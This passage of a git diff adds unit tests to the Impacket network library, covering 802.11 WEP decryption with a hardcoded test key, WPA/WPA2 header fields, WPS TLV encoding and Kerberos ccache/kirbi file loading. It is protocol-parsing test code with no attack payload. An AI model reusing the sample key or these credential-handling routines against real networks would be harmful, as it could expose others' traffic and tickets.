+from impacket.ImpactDecoder import Dot11Decoder
+
+
+class TestDot11WEPData(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Data Frame
+        #
+        self.dot11frame = b'\x08\x41\x2c\x00\x00\x21\x29\x68\x33\x5d\x00\x18\xde\x7c\x37\x9f\x00\x21\x29\x68\x33\x5b\xf0\xd6\x0c\x31\x65\x00\x8d\x23\x81\xe9\x25\x1c\xb5\xaa\x83\xd2\xc7\x16\xba\x6e\xe1\x8e\x7d\x3a\x2c\x71\xc0\x0f\x6a\xb8\x2f\xbc\x54\xc4\xb0\x14\xab\x03\x11\x5e\xde\xcc\xab\x2b\x18\xeb\xeb\x25\x0f\x75\xeb\x6b\xf5\x7f\xd6\x5c\xb9\xe1\xb2\x6e\x50\xba\x4b\xb4\x8b\x9f\x34\x71\xda\x9e\xcf\x12\xcb\x8f\x36\x1b\x02\x53'
+        
+        d = Dot11(self.dot11frame, FCS_at_end = False)
+        
+        self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)
+        self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)
+        self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
+        
+        data = Dot11DataFrame(d.get_body_as_string())
+        d.contains(data)
+        
+        self.wep_header = Dot11WEP(data.body_string)
+        data.contains(self.wep_header)
+        
+        self.wep_data = Dot11WEPData(self.wep_header.body_string)
+        self.wep_header.contains(self.wep_data)
+        
+        self.km=KeyManager()
+        self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5d],unhexlify(b'999cbb701ca2ef030e302dcc35'))
+        
+    def test_01(self):
+        'Test WEPHeader is_WEP method'
+        self.assertEqual(self.wep_header.is_WEP(), True)
+    
+    def test_02(self):
+        'Test Packet Hierarchy'
+        dot11_decoder = Dot11Decoder()
+        dot11_decoder.FCS_at_end(False)
+        dot11_decoder.set_key_manager(self.km)
+        in0=dot11_decoder.decode(self.dot11frame)
+        if PY2:
+            self.assertEqual(str(in0.__class__), "impacket.dot11.Dot11")
+        else:
+            self.assertEqual(str(in0.__class__), "<class 'impacket.dot11.Dot11'>")
+        in1=in0.child()
+        if PY2:
+            self.assertEqual(str(in1.__class__), "impacket.dot11.Dot11DataFrame")
+        else:
+            self.assertEqual(str(in1.__class__), "<class 'impacket.dot11.Dot11DataFrame'>")
+        in2=in1.child()
+        if PY2:
+            self.assertEqual(str(in2.__class__), "impacket.dot11.Dot11WEP")
+        else:
+            self.assertEqual(str(in2.__class__), "<class 'impacket.dot11.Dot11WEP'>")
+        in3=in2.child()
+        if PY2:
+            self.assertEqual(str(in3.__class__), "impacket.dot11.Dot11WEPData")
+        else:
+            self.assertEqual(str(in3.__class__), "<class 'impacket.dot11.Dot11WEPData'>")
+        in4=in3.child()
+        if PY2:
+            self.assertEqual(str(in4.__class__), "impacket.dot11.LLC")
+        else:
+            self.assertEqual(str(in4.__class__), "<class 'impacket.dot11.LLC'>")
+        in5=in4.child()
+        if PY2:
+            self.assertEqual(str(in5.__class__), "impacket.dot11.SNAP")
+        else:
+            self.assertEqual(str(in5.__class__), "<class 'impacket.dot11.SNAP'>")
+        in6=in5.child()
+        #self.assertEqual(str(in6.__class__), "ImpactPacket.IP")
+        in7=in6.child()
+        #self.assertEqual(str(in7.__class__), "ImpactPacket.ICMP")
+        in8=in7.child()
+        #self.assertEqual(str(in8.__class__), "ImpactPacket.Data")
+        self.assertEqual(in8.get_packet(),b'abcdefghijklmnopqrstuvwabcdefghi')
+        
+    def test_03(self):
+        'Test WEPHeader IV getter and setter methods'
+        self.assertEqual(self.wep_header.get_iv(), 0x0c3165)
+        
+        self.wep_header.set_iv(0x1e0501) # Es de 24 bit
+        self.assertEqual(self.wep_header.get_iv(), 0x1e0501)
+
+    def test_04(self):
+        'Test WEPHeader keyID getter and setter methods'
+        self.assertEqual(self.wep_header.get_keyid(), 0x00)
+        
+        self.wep_header.set_iv(0x03) # Es de 2 bits
+        self.assertEqual(self.wep_header.get_iv(), 0x03)
+    
+    def test_05(self):
+        'Test WEPData ICV getter and setter methods'
+        
+        dot11_decoder = Dot11Decoder()
+        dot11_decoder.FCS_at_end(False)
+        dot11_decoder.set_key_manager(self.km)
+        dot11_decoder.decode(self.dot11frame)
+        wepdata = dot11_decoder.get_protocol(Dot11WEPData)
+
+        # The encrypted ICV is 0x361b0253, but it not the real,
+        # we need decrypt it. The decrypted and real ICV is 0xA1F93985
+        
+        self.assertEqual(wepdata.get_icv(),0xA1F93985)
+        
+        self.assertEqual(wepdata.get_computed_icv(),0xA1F93985)
+        
+        self.assertEqual(wepdata.get_icv(), wepdata.get_computed_icv())
+        
+        wepdata.set_icv(0x11223344)
+        self.assertEqual(wepdata.get_icv(), 0x11223344)
+        
+    def test_06(self):
+        'Test WEPData body decryption'
+        dot11_decoder = Dot11Decoder()
+        dot11_decoder.FCS_at_end(False)
+        dot11_decoder.set_key_manager(self.km)
+        dot11_decoder.decode(self.dot11frame)
+        dot11_decoder.get_protocol(Dot11WEP)
+        wepdata = dot11_decoder.get_protocol(Dot11WEPData)
+        decrypted = b'\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x3c\xa6\x07\x00\x00\x80\x01\xee\x5a\xc0\xa8\x01\x66\x40\xe9\xa3\x67\x08\x00\xc5\x56\x04\x00\x84\x05\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x61\x62\x63\x64\x65\x66\x67\x68\x69\xa1\xf9\x39\x85'
+        self.assertEqual(wepdata.get_packet(), decrypted)
+        self.assertEqual(wepdata.check_icv(), True)
+        
+        ip = dot11_decoder.get_protocol(IP)
+        self.assertEqual(ip.get_ip_src(),'192.168.1.102')
+        self.assertEqual(ip.get_ip_dst(),'64.233.163.103')
+        
+        icmp = dot11_decoder.get_protocol(ICMP)
+        self.assertEqual(icmp.get_icmp_type(),icmp.ICMP_ECHO)
+        self.assertEqual(icmp.get_icmp_id(),0x0400)
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_WEPEncoder.py b/tests/dot11/test_WEPEncoder.py
new file mode 100644
index 0000000..5849fef
--- /dev/null
+++ b/tests/dot11/test_WEPEncoder.py
@@ -0,0 +1,129 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from binascii import unhexlify
+import impacket.dot11
+import impacket.ImpactPacket
+from impacket.Dot11KeyManager import KeyManager
+
+
+class TestDot11WEPData(unittest.TestCase):
+
+    def setUp(self):
+        self.dot11 = impacket.dot11.Dot11(FCS_at_end = False)
+        
+        # dot11.fc
+        self.dot11.set_version(0)
+        self.dot11.set_type_n_subtype(impacket.dot11.Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
+
+        # dot11.fc.flags
+        self.dot11.set_fromDS(0)
+        self.dot11.set_toDS(1)
+        self.dot11.set_moreFrag(0)
+        self.dot11.set_retry(0)
+        self.dot11.set_powerManagement(0)
+        self.dot11.set_moreData(0)
+        self.dot11.set_protectedFrame(1)
+        self.dot11.set_order(0)
+        
+        # dot11.Data
+        self.dot11data = impacket.dot11.Dot11DataFrame()
+        self.dot11data.set_duration(44)
+        self.dot11data.set_address1([0x00,0x21,0x29,0x68,0x33,0x5d]) # Bssid
+        self.dot11data.set_address2([0x00,0x18,0xde,0x7c,0x37,0x9f]) # Source
+        self.dot11data.set_address3([0x00,0x21,0x29,0x68,0x33,0x5d]) # Destination
+        self.dot11data.set_fragment_number(0)
+        self.dot11data.set_sequence_number(3439)
+        
+        # WEP
+        self.wep = impacket.dot11.Dot11WEP()
+        self.wep.set_iv(0x0c3165)
+        self.wep.set_keyid(0)
+        
+        # WEPData
+        self.wepdata = impacket.dot11.Dot11WEPData()
+        
+        # LLC
+        self.llc = impacket.dot11.LLC()
+        self.llc.set_DSAP(0xaa)
+        self.llc.set_SSAP(0xaa)
+        self.llc.set_control(0x03)
+        
+        # SNAP
+        self.snap = impacket.dot11.SNAP()
+        self.snap.set_OUI(0x000000)
+        self.snap.set_protoID(0x0800)
+        
+        # IP
+        self.ip = impacket.ImpactPacket.IP()
+        self.ip.set_ip_v(0x04)
+        self.ip.set_ip_tos(0x00)
+        self.ip.set_ip_id(0xa607)
+        # IP.flags
+        self.ip.set_ip_rf(0)
+        self.ip.set_ip_df(0)
+        self.ip.set_ip_mf(0)
+        #
+        self.ip.set_ip_off(0)
+        self.ip.set_ip_ttl(128)
+        self.ip.set_ip_p(0x01) # ICMP
+        self.ip.set_ip_src('192.168.1.102')
+        self.ip.set_ip_dst('64.233.163.103')
+        
+        # ICMP
+        self.icmp = impacket.ImpactPacket.ICMP()
+        self.icmp.set_icmp_type(self.icmp.ICMP_ECHO)
+        self.icmp.set_icmp_code(0x00)
+        self.icmp.set_icmp_id(0x0400)
+        self.icmp.set_icmp_seq(0x8405)
+        
+        # Data
+        datastring = b'abcdefghijklmnopqrstuvwabcdefghi'
+        self.data = impacket.ImpactPacket.Data( datastring )
+        
+        # Build the protocol stack
+        self.dot11.contains(self.dot11data)
+        self.dot11data.contains(self.wep)
+        self.wep.contains(self.wepdata)
+        self.wepdata.contains(self.llc)
+        self.llc.contains(self.snap)
+        self.snap.contains(self.ip)
+        self.ip.contains(self.icmp)
+        self.icmp.contains(self.data)
+        
+        # Instantiated the Key Manager
+        self.km=KeyManager()
+        self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5b],unhexlify('999cbb701ca2ef030e302dcc35'))
+        
+    def test_02(self):
+        'Test ICV methods'
+        self.assertEqual(self.wepdata.get_icv(),0x00000000)
+        self.assertEqual(self.wepdata.get_computed_icv(),0xA1F93985)
+        self.wepdata.set_icv(0xA1F93985)
+        self.assertEqual(self.wepdata.get_icv(), self.wepdata.get_computed_icv())
+        self.wepdata.set_icv(0x01020304)
+        self.assertEqual(self.wepdata.get_icv(),0x01020304)
+        
+    def test_03(self):
+        'Test WEPData creation from scratch with encryption'
+        
+        #print "\nWEP Data Decrypted [%s]"%hexlify(self.wepdata.get_packet())
+        self.wepdata.set_icv(0xA1F93985)
+        wep_enc=self.wep.get_encrypted_data(unhexlify('999cbb701ca2ef030e302dcc35'))
+        #print "\nWEP Data Encrypted [%s]"%hexlify(wep_enc)
+        self.assertEqual(wep_enc,unhexlify('8d2381e9251cb5aa83d2c716ba6ee18e7d3a2c71c00f6ab82fbc54c4b014ab03115edeccab2b18ebeb250f75eb6bf57fd65cb9e1b26e50ba4bb48b9f3471da9ecf12cb8f361b0253'))
+        
+        #print "\nDot11 decrypted [%s]"%hexlify(self.dot11.get_packet())
+        self.wep.encrypt_frame(unhexlify('999cbb701ca2ef030e302dcc35'))
+        #print "\nDot11 encrypted [%s]"%hexlify(self.dot11.get_packet())
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_WPA.py b/tests/dot11/test_WPA.py
new file mode 100644
index 0000000..45b8643
--- /dev/null
+++ b/tests/dot11/test_WPA.py
@@ -0,0 +1,118 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA,Dot11WPAData
+
+
+class TestDot11WPAData(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Data Frame 
+        #
+        self.frame_orig=b'\x08\x42\x00\x00\xff\xff\xff\xff\xff\xff\x00\x21\x29\x68\x33\x5d\x00\x1b\xfc\x1e\xca\x40\xa0\x16\x02\x22\x5a\x60\x00\x00\x00\x00\xa2\x0e\x77\x36\xea\x90\x76\x0f\x7a\x9f\x6e\x6c\x78\xb9\xe0\x3e\xb4\x9d\x09\xca\xde\xef\x95\x58\x28\x97\x17\x46\x53\x43\x41\x2b\x2a\xc6\xbe\xe4\x59\x60\xf0\x17\x1d\x20\x8c\xca\x3c\x26\x0d\x5d\x6b\x10\x81\xbc\xc6\xba\x90\xa5\x77\x0e\x83\xd0\xd0\xb9\xdd\xbf\x80\xbf\x65\x17\xee\xc0\x3a\x52\x32\x34\x75\xac\x0c\xc2\xbb\x25\x28\x8f\x6a\xe6\x96\x7a\x53\x4a\x77\xcc\x2b\xe5\x9a\x9a\x73\xc2\x08\x4c\x42\x15\xe9\x26\xa0\xce\x70\x0e\x50\x9b\x2d\xa2\x6e\xcb\x92\x54\xc0\x6d\xbc\x13\xfe\x4d\xd8\x6b\x8c\x76\x98\x9a\x71\x4d\x51\xb1\xf5\x4f\xe2\x43\x1b\xfa\x6f\x5c\x98\x6a\x3a\x64\x4f\x50\xc4\x09\x7d\x10\x3f\xa2\x64\xd9\xad\x6e\x44\xe3\x84\x3d\x2b\x77\x11\xd8\x04\x9d\x9d\xd4\x32\x35\xe8\x3d\xeb\xd5\x9a\xde\xf3\xb5\x41\x67\x94\xf9\xb1\xe0\x7a\xea\x33\xb2\x00\xef\x6a\x2e\x6c\x3b\xea\x23\x49\x23\xc2\xca\x24\x53\xea\xc0\x7e\x8c\xcf\x73\xcb\x2d\x0c\x8e\xdb\x7b\x9e\x0a\x66\x81\x90'
+        d = Dot11(self.frame_orig)
+        
+        self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)
+        self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)
+        self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
+        
+        data = Dot11DataFrame(d.get_body_as_string())
+        d.contains(data)
+        
+        self.wpa_header = Dot11WPA(data.body_string)
+        data.contains(self.wpa_header)
+        
+        self.wpa_data = Dot11WPAData(self.wpa_header.body_string)
+        self.wpa_header.contains(self.wpa_data)
+
+    def test_01_is_WPA(self):
+        'Test WPAHeader is_WPA method'
+        self.assertEqual(self.wpa_header.is_WPA(), True)
+        
+    def test_03_extIV(self):
+        'Test WPAHeader extIV getter and setter methods'
+        self.assertEqual(self.wpa_header.get_extIV(), 0x01)
+        
+        self.wpa_header.set_extIV(0x00) # Es de 1 bit
+        self.assertEqual(self.wpa_header.get_extIV(), 0x00)
+        
+    def test_04_keyid(self):
+        'Test WPAHeader keyID getter and setter methods'
+        self.assertEqual(self.wpa_header.get_keyid(), 0x01)
+        
+        self.wpa_header.set_keyid(0x03) # Es de 2 bits
+        self.assertEqual(self.wpa_header.get_keyid(), 0x03)
+    
+    #TODO: Test get_decrypted_data
+    #def test_05_get_decrypted_data(self):
+
+    def test_06_WEPSeed(self):
+        'Test WPAData WEPSeed getter and setter methods'
+        # TSC0
+        self.assertEqual(self.wpa_header.get_WEPSeed(), 0x22)
+        self.wpa_header.set_WEPSeed(0xAB)
+        self.assertEqual(self.wpa_header.get_WEPSeed(), 0xAB)
+    
+    def test_07_TSCs(self):
+        'Test WPAData TSC0 to TSC5 getter and setter methods'
+        # TSC0
+        self.assertEqual(self.wpa_header.get_TSC0(), 0x5A)
+        self.wpa_header.set_TSC0(0xAB)
+        self.assertEqual(self.wpa_header.get_TSC0(), 0xAB)
+
+        # TSC1
+        self.assertEqual(self.wpa_header.get_TSC1(), 0x02)
+        self.wpa_header.set_TSC1(0xAB)
+        self.assertEqual(self.wpa_header.get_TSC1(), 0xAB)
+
+        # TSC2
+        self.assertEqual(self.wpa_header.get_TSC2(), 0x00)
+        self.wpa_header.set_TSC2(0xAB)
+        self.assertEqual(self.wpa_header.get_TSC2(), 0xAB)
+
+        # TSC3
+        self.assertEqual(self.wpa_header.get_TSC3(), 0x00)
+        self.wpa_header.set_TSC3(0xAB)
+        self.assertEqual(self.wpa_header.get_TSC3(), 0xAB)
+
+        # TSC4
+        self.assertEqual(self.wpa_header.get_TSC4(), 0x00)
+        self.wpa_header.set_TSC4(0xAB)
+        self.assertEqual(self.wpa_header.get_TSC4(), 0xAB)
+
+        # TSC5
+        self.assertEqual(self.wpa_header.get_TSC5(), 0x00)
+        self.wpa_header.set_TSC5(0xAB)
+        self.assertEqual(self.wpa_header.get_TSC5(), 0xAB)
+
+    def test_08_data(self):
+        'Test WPAData body'
+        data=b'\xa2\x0e\x77\x36\xea\x90\x76\x0f\x7a\x9f\x6e\x6c\x78\xb9\xe0\x3e\xb4\x9d\x09\xca\xde\xef\x95\x58\x28\x97\x17\x46\x53\x43\x41\x2b\x2a\xc6\xbe\xe4\x59\x60\xf0\x17\x1d\x20\x8c\xca\x3c\x26\x0d\x5d\x6b\x10\x81\xbc\xc6\xba\x90\xa5\x77\x0e\x83\xd0\xd0\xb9\xdd\xbf\x80\xbf\x65\x17\xee\xc0\x3a\x52\x32\x34\x75\xac\x0c\xc2\xbb\x25\x28\x8f\x6a\xe6\x96\x7a\x53\x4a\x77\xcc\x2b\xe5\x9a\x9a\x73\xc2\x08\x4c\x42\x15\xe9\x26\xa0\xce\x70\x0e\x50\x9b\x2d\xa2\x6e\xcb\x92\x54\xc0\x6d\xbc\x13\xfe\x4d\xd8\x6b\x8c\x76\x98\x9a\x71\x4d\x51\xb1\xf5\x4f\xe2\x43\x1b\xfa\x6f\x5c\x98\x6a\x3a\x64\x4f\x50\xc4\x09\x7d\x10\x3f\xa2\x64\xd9\xad\x6e\x44\xe3\x84\x3d\x2b\x77\x11\xd8\x04\x9d\x9d\xd4\x32\x35\xe8\x3d\xeb\xd5\x9a\xde\xf3\xb5\x41\x67\x94\xf9\xb1\xe0\x7a\xea\x33\xb2\x00\xef\x6a\x2e\x6c\x3b\xea\x23\x49\x23\xc2\xca\x24\x53\xea'
+        self.assertEqual(self.wpa_data.body_string, data)
+
+    def test_09_mic(self):
+        'Test WPAData MIC field'
+        mic=b'\xc0\x7e\x8c\xcf\x73\xcb\x2d\x0c'
+        #icv=>'\x8e\xdb\x7b\x9e'
+        self.assertEqual(self.wpa_data.get_MIC(), mic)
+
+        mic=b'\x01\x02\x03\x04\xff\xfe\xfd\xfc'
+        self.wpa_data.set_MIC(mic)
+        self.assertEqual(self.wpa_data.get_MIC(), mic)
+        self.assertEqual(self.wpa_data.get_icv(), 0x8edb7b9e)
+        
+    def test_10_get_icv(self):
+        'Test WPAData ICV field'
+        
+        self.assertEqual(self.wpa_data.get_icv(), 0x8edb7b9e)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_WPA2.py b/tests/dot11/test_WPA2.py
new file mode 100644
index 0000000..77f6272
--- /dev/null
+++ b/tests/dot11/test_WPA2.py
@@ -0,0 +1,104 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+import unittest
+from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data
+
+
+class TestDot11WPA2Data(unittest.TestCase):
+
+    def setUp(self):
+        # 802.11 Data Frame 
+        #
+        self.frame_orig=b'\x08\x49\x24\x00\x00\x21\x29\x68\x33\x5d\x00\x15\xaf\xe4\xf1\x0f\x00\x21\x29\x68\x33\x5b\xe0\x31\x1b\x13\x00\x20\x00\x00\x00\x00\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19\x0c\xc0\x34\x07\xae\xe7\x77\xaf\xf9\x9f\x41\x53'
+        d = Dot11(self.frame_orig)
+        
+        self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)
+        self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)
+        self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)
+        
+        data = Dot11DataFrame(d.get_body_as_string())
+        d.contains(data)
+        
+        self.wpa2_header = Dot11WPA2(data.body_string)
+        data.contains(self.wpa2_header)
+        
+        self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string)
+        self.wpa2_header.contains(self.wpa2_data)
+
+    def test_01_is_WPA2(self):
+        'Test WPA2Header is_WPA2 method'
+        self.assertEqual(self.wpa2_header.is_WPA2(), True)
+        
+    def test_03_extIV(self):
+        'Test WPA2Header extIV getter and setter methods'
+        self.assertEqual(self.wpa2_header.get_extIV(), 0x01)
+        
+        self.wpa2_header.set_extIV(0x00) # Es de 1 bit
+        self.assertEqual(self.wpa2_header.get_extIV(), 0x00)
+        
+    def test_04_keyid(self):
+        'Test WPA2Header keyID getter and setter methods'
+        self.assertEqual(self.wpa2_header.get_keyid(), 0x00)
+        
+        self.wpa2_header.set_keyid(0x03) # Es de 2 bits
+        self.assertEqual(self.wpa2_header.get_keyid(), 0x03)
+    
+    #TODO: Test get_decrypted_data
+    #def test_05_get_decrypted_data(self):
+    
+    def test_06_PNs(self):
+        'Test WPA2Data PN0 to PN5 getter and setter methods'
+        # PN0
+        self.assertEqual(self.wpa2_header.get_PN0(), 0x1b)
+        self.wpa2_header.set_PN0(0xAB)
+        self.assertEqual(self.wpa2_header.get_PN0(), 0xAB)
+
+        # PN1
+        self.assertEqual(self.wpa2_header.get_PN1(), 0x13)
+        self.wpa2_header.set_PN1(0xAB)
+        self.assertEqual(self.wpa2_header.get_PN1(), 0xAB)
+
+        # PN2
+        self.assertEqual(self.wpa2_header.get_PN2(), 0x00)
+        self.wpa2_header.set_PN2(0xAB)
+        self.assertEqual(self.wpa2_header.get_PN2(), 0xAB)
+
+        # PN3
+        self.assertEqual(self.wpa2_header.get_PN3(), 0x00)
+        self.wpa2_header.set_PN3(0xAB)
+        self.assertEqual(self.wpa2_header.get_PN3(), 0xAB)
+
+        # PN4
+        self.assertEqual(self.wpa2_header.get_PN4(), 0x00)
+        self.wpa2_header.set_PN4(0xAB)
+        self.assertEqual(self.wpa2_header.get_PN4(), 0xAB)
+
+        # PN5
+        self.assertEqual(self.wpa2_header.get_PN5(), 0x00)
+        self.wpa2_header.set_PN5(0xAB)
+        self.assertEqual(self.wpa2_header.get_PN5(), 0xAB)
+
+    def test_07_data(self):
+        'Test WPA2Data body'
+        data=b'\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19'
+        self.assertEqual(self.wpa2_data.body_string, data)
+
+    def test_08_mic(self):
+        'Test WPA2Data MIC field'
+        mic=b'\x0c\xc0\x34\x07\xae\xe7\x77\xaf'
+        self.assertEqual(self.wpa2_data.get_MIC(), mic)
+
+        mic=b'\x01\x02\x03\x04\xff\xfe\xfd\xfc'
+        self.wpa2_data.set_MIC(mic)
+        self.assertEqual(self.wpa2_data.get_MIC(), mic)
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_helper.py b/tests/dot11/test_helper.py
new file mode 100644
index 0000000..394e60e
--- /dev/null
+++ b/tests/dot11/test_helper.py
@@ -0,0 +1,54 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Tests for helper used to build ProtocolPackets
+#
+# Author:
+#   Aureliano Calvo
+#
+import unittest
+import impacket.helper as h
+
+
+class TestHelpers(unittest.TestCase):
+    
+    def test_well_formed(self):
+        class MockPacket(h.ProtocolPacket):
+            byte_field = h.Byte(0)
+            word_field = h.Word(1, ">")
+            three_bytes_field = h.ThreeBytesBigEndian(3)
+            long_field = h.Long(6, ">")
+            aliased_bit_field = h.Bit(0,0)
+            
+            header_size = 4
+            tail_size = 0
+            
+        p = MockPacket()
+        p.byte_field = 1
+        p.word_field = 2
+        p.three_bytes_field = 4
+        p.long_field = 8
+        
+        self.assertEqual(1, p.byte_field)
+        self.assertEqual(2, p.word_field)
+        self.assertEqual(4, p.three_bytes_field)
+        self.assertEqual(8, p.long_field)
+        
+        self.assertEqual(True, p.aliased_bit_field)
+        
+        p.aliased_bit_field = False
+        
+        self.assertEqual(0, p.byte_field)
+        
+        self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing.
+        
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/dot11/test_wps.py b/tests/dot11/test_wps.py
new file mode 100644
index 0000000..8e4c647
--- /dev/null
+++ b/tests/dot11/test_wps.py
@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Tests for WPS packets
+#
+# Author:
+#   Aureliano Calvo
+#
+import unittest
+import array
+from impacket import wps
+
+
+class TestTLVContainer(unittest.TestCase):
+
+    def testNormalUsageContainer(self):
+        BUILDERS={
+            1: wps.StringBuilder(),
+            2: wps.ByteBuilder(),
+            3: wps.NumBuilder(2)
+        }
+        tlvc = wps.TLVContainer(builders=BUILDERS)
+        
+        KINDS_N_VALUES = (
+            (1, b"Sarlanga"),
+            (2, 1),
+            (3, 1024),
+            (4, array.array("B", [1,2,3]))
+        )
+        for k,v in KINDS_N_VALUES:
+            tlvc.append(k,v)
+        
+        tlvc2 = wps.TLVContainer(builders=BUILDERS)
+        tlvc2.from_ary(tlvc.to_ary())
+        
+        for k,v in KINDS_N_VALUES:
+            self.assertEqual(v, tlvc2.first(k))
+        
+        self.assertEqual(tlvc.to_ary(), tlvc2.to_ary())
+        self.assertEqual(b"Sarlanga", tlvc.first(1))
+
+
+if __name__ == '__main__':
+    unittest.main(verbosity=1)
diff --git a/tests/misc/__init__.py b/tests/misc/__init__.py
new file mode 100644
index 0000000..3424c5e
--- /dev/null
+++ b/tests/misc/__init__.py
@@ -0,0 +1,7 @@
+#!/usr/bin/env python
+# SECUREAUTH LABS. Copyright 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
diff --git a/tests/misc/test_ccache.py b/tests/misc/test_ccache.py
new file mode 100644
index 0000000..fb8f3fc
--- /dev/null
+++ b/tests/misc/test_ccache.py
@@ -0,0 +1,119 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Kerberos CCACHE unit tests
+#
+import os
+import pytest
+import unittest
+from six import PY2
+if PY2:
+    mock = None
+    FileNotFoundError = IOError
+else:
+    from unittest import mock
+from impacket.krb5.ccache import CCache, Credential
+
+
+class CCACHETests(unittest.TestCase):
+
+    service = "krbtgt"
+    domain = "INNOVATION.ROCKS"
+    username = "user01"
+    server = "{}/{}@{}".format(service, domain, domain)
+
+    cache_v1_file = "tests/data/ccache-v1"
+    cache_v2_file = "tests/data/ccache-v2"
+    cache_v3_file = "tests/data/ccache-v3"
+    cache_v4_file = "tests/data/ccache-v4"
+    cache_v3_kirbi_file = "tests/data/ccache-v3-kirbi"
+    cache_v4_kirbi_file = "tests/data/ccache-v4-kirbi"
+
+    def assert_ccache(self, ccache):
+        ccache.prettyPrint()
+        self.assertIsInstance(ccache, CCache)
+        self.assertEqual(len(ccache.credentials), 1)
+        for cred in ccache.credentials:
+            self.assertIsInstance(cred, Credential)
+
+        self.assertIsNone(ccache.getCredential("krbtgt/UNEXISTENT.COM@UNEXISTENT.COM", True))
+        self.assertIsNone(ccache.getCredential("krbtgt/UNEXISTENT.COM@UNEXISTENT.COM", False))
+        self.assertIsNotNone(ccache.getCredential(self.server, True))
+        self.assertIsNotNone(ccache.getCredential(self.server, False))
+
+    def test_ccache_loadFile(self):
+        with self.assertRaises(FileNotFoundError):
+            CCache.loadFile("NON_EXISTENT")
+
+        for cache_file in [self.cache_v1_file,
+                           self.cache_v2_file]:
+            with self.assertRaises(NotImplementedError):
+                CCache.loadFile(cache_file)
+
+        for cache_file in [self.cache_v3_file,
+                           self.cache_v4_file]:
+            ccache = CCache.loadFile(cache_file)
+            self.assert_ccache(ccache)
+
+    def test_ccache_fromKirbi(self):
+        with self.assertRaises(FileNotFoundError):
+            CCache.loadKirbiFile("NON_EXISTENT")
+
+        for kirbi_file in [self.cache_v3_kirbi_file,
+                           self.cache_v4_kirbi_file]:
+            ccache = CCache.loadKirbiFile(kirbi_file)
+            self.assert_ccache(ccache)
+
